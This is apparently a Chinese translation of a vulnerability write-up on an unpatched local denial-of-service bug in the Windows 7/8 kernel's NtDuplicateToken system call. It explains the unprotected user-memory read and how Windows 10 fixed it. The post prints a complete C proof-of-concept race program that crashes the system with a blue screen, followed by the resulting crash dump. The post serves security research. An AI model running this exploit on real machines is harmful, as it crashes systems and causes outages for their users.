首页 » 漏洞 » Windows内核本地拒绝服务#3(Windows 7-8)

Windows内核本地拒绝服务#3(Windows 7-8)

 

 

这是这个系列中关于未修补的本地Windows内核拒绝服务错误的第三篇文章。截至目前为止,以前发布的帖子如下:

与以前讨论的两个问题相反,今天的bug不是在图形子系统(win32k.sys),而是在核心内核模块:ntoskrnl.exe,更具体地是在nt!NtDuplicateToken系统调用的处理程序里(同名) 。根据MSDN,系统调用的定义如下:

Windows内核本地拒绝服务#3(Windows 7-8)

我们这次所讨论的漏洞是由对用户参数传递控制指针的无保护访问引起的ObjectAttributes。实际上,参数在系统调用处理程序中被引用了几次; 首先,它被常规的传递到nt!SeCaptureSecurityQos然后到nt!SepDuplicateToken。在这两种情况下,从存储器区域的读取由try/except块保护。但是,也有直接在顶层系统调用的处理程序中执行的第三次读取:

Windows内核本地拒绝服务#3(Windows 7-8)

简短的程序集片段可以转换为以下C代码:

Windows内核本地拒绝服务#3(Windows 7-8)

这里,没有启用异常处理,意味着如果我们对SecurityDescriptor字段的访问失败了,整个系统将与BSoD崩溃。为了触发条件,我们必须执行 race condition attack:当对用户模式内存的初始访问成功时,最后一个应该产生一个异常。因此,相关存储器区域必须在相应存储器读取之间的小窗口内被锁定或未映射。其次,该漏洞最好在具有两个或更多个CPU核心的机器上工作。

有趣的是,虽然该错误存在于Windows 7和8,但它的错误代码在Windows 10中重构了。在最新版本的操作系统中,相应的代码构造是完全不同的:Windows内核本地拒绝服务#3(Windows 7-8)

正如我们可以看到的,它不是取消引用ObjectAttributes输入参数,该函数只测试了一个局部var_1A变量(超出用户模式的直接控制)。变量初始化在哪里?当它转向时,在一个新引入的SeCaptureObjectAttributeSecurityDescriptorPresent 功能:

Windows内核本地拒绝服务#3(Windows 7-8)

这个新Routines的唯一目的是清理ObjectAttributes指针,检查它不为NULL,并且该SecurityDescriptor字段也不为NULL。如果所有这些条件都满足,var_1A变量要设置为1,否则它将保持等于0. 这个简单的重构消除了双重获取条件(这里看起来不太危险)和未处理的访问用户模式内存。

无论如何,Windows 7和8的最终工作概念验证代码如下所示:

#include <Windows.h> #include <winternl.h> #include <cstdio>   extern "C" NTSTATUS WINAPI NtDuplicateToken(  _In_ HANDLE ExistingTokenHandle,  _In_ ACCESS_MASK DesiredAccess,  _In_ POBJECT_ATTRIBUTES ObjectAttributes,  _In_ BOOLEAN EffectiveOnly,  _In_ TOKEN_TYPE TokenType,  _Out_ PHANDLE NewTokenHandle  );   namespace globals {  POBJECT_ATTRIBUTES Attributes; } // namespace globals   DWORD ThreadRoutine(LPVOID lpParameter) {  DWORD flOldProtect;    // Indefinitely alternate between R/W and NOACCESS rights.  while (1) {  VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_NOACCESS, &flOldProtect);  VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_READWRITE, &flOldProtect);  } }   int main() {  // Open the current process token.  HANDLE hToken;  BOOL st = OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);  if (!st) {  printf("OpenThreadToken failed, %d/n", GetLastError());  return 1;  }    // Allocate memory for the structure whose privileges are being flipped.  globals::Attributes = (POBJECT_ATTRIBUTES)VirtualAlloc(NULL, sizeof(OBJECT_ATTRIBUTES), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  globals::Attributes->Length = sizeof(OBJECT_ATTRIBUTES);    // Create the racing thread.  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);    // Infinite loop trying to trigger the unhandled exception.  while (1) {  HANDLE hNewToken;  NTSTATUS ntst = NtDuplicateToken(hToken, TOKEN_QUERY, globals::Attributes, TRUE, TokenPrimary, &hNewToken);    if (NT_SUCCESS(ntst)) {  CloseHandle(hNewToken);  } else if (ntst != STATUS_ACCESS_VIOLATION) {  printf("NtDuplicateToken failed, %x/n", ntst);  CloseHandle(hToken);  return 1;  }  }    return 0; }

在Windows 7 32位上启动以上程序会触发以下蓝色屏幕:

Windows内核本地拒绝服务#3(Windows 7-8)

完整的崩溃摘要如下:

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 81885cd3, The address that the exception occurred at Arg3: a3057b28, Trap Frame Arg4: 00000000   Debugging Details: ------------------   EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.   FAULTING_IP:  nt!NtDuplicateToken+230 81885cd3 395810 cmp dword ptr [eax+10h],ebx   TRAP_FRAME: a3057b28 -- (.trap 0xffffffffa3057b28) ErrCode = 00000000 eax=000d0000 ebx=00000000 ecx=d334d923 edx=acc30e20 esi=a334cc50 edi=00000000 eip=81885cd3 esp=a3057b9c ebp=a3057c14 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 nt!NtDuplicateToken+0x230: 81885cd3 395810 cmp dword ptr [eax+10h],ebx ds:0023:000d0010=00000000 Resetting default scope   DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT   BUGCHECK_STR: 0x8E   PROCESS_NAME: NtDuplicateTok   CURRENT_IRQL: 2   ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre   LAST_CONTROL_TRANSFER: from 816f3dff to 8168f9d8   STACK_TEXT:  a30570dc 816f3dff 00000003 7031a80f 00000065 nt!RtlpBreakWithStatusInstruction a305712c 816f48fd 00000003 a3057530 00000000 nt!KiBugCheckDebugBreak+0x1c a30574f0 816f3c9c 0000008e c0000005 81885cd3 nt!KeBugCheck2+0x68b a3057514 816c92f7 0000008e c0000005 81885cd3 nt!KeBugCheckEx+0x1e a3057ab8 81652996 a3057ad4 00000000 a3057b28 nt!KiDispatchException+0x1ac a3057b20 8165294a a3057c14 81885cd3 badb0d00 nt!CommonDispatchException+0x4a a3057bdc 8185e289 aac8efc0 00000034 acc30d01 nt!KiExceptionExit+0x192 a3057c14 81651db6 00000008 00000008 000d0000 nt!ObpCloseHandle+0x7f a3057c14 77946c74 00000008 00000008 000d0000 nt!KiSystemServicePostCall 0031fcc4 7794547c 013955eb 0000002c 00000008 ntdll!KiFastSystemCallRet 0031fcc8 013955eb 0000002c 00000008 000d0000 ntdll!ZwDuplicateToken+0xc 0031fde8 0139240a 00000001 004f7ba8 004f7bf8 NtDuplicateToken!main+0xeb 0031fe34 013925ed 0031fe48 7786ef1c 7ffdf000 NtDuplicateToken!__tmainCRTStartup+0x11a 0031fe3c 7786ef1c 7ffdf000 0031fe88 7796367a NtDuplicateToken!mainCRTStartup+0xd 0031fe48 7796367a 7ffdf000 77a51ab2 00000000 kernel32!BaseThreadInitThunk+0xe 0031fe88 7796364d 0138fcbc 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 0031fea0 00000000 0138fcbc 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b

*参考:j00ru,MottoIN小编编译发布,转载请注明来自MottoIN

 

 

原文链接:Windows内核本地拒绝服务#3(Windows 7-8),转载请注明来源!

0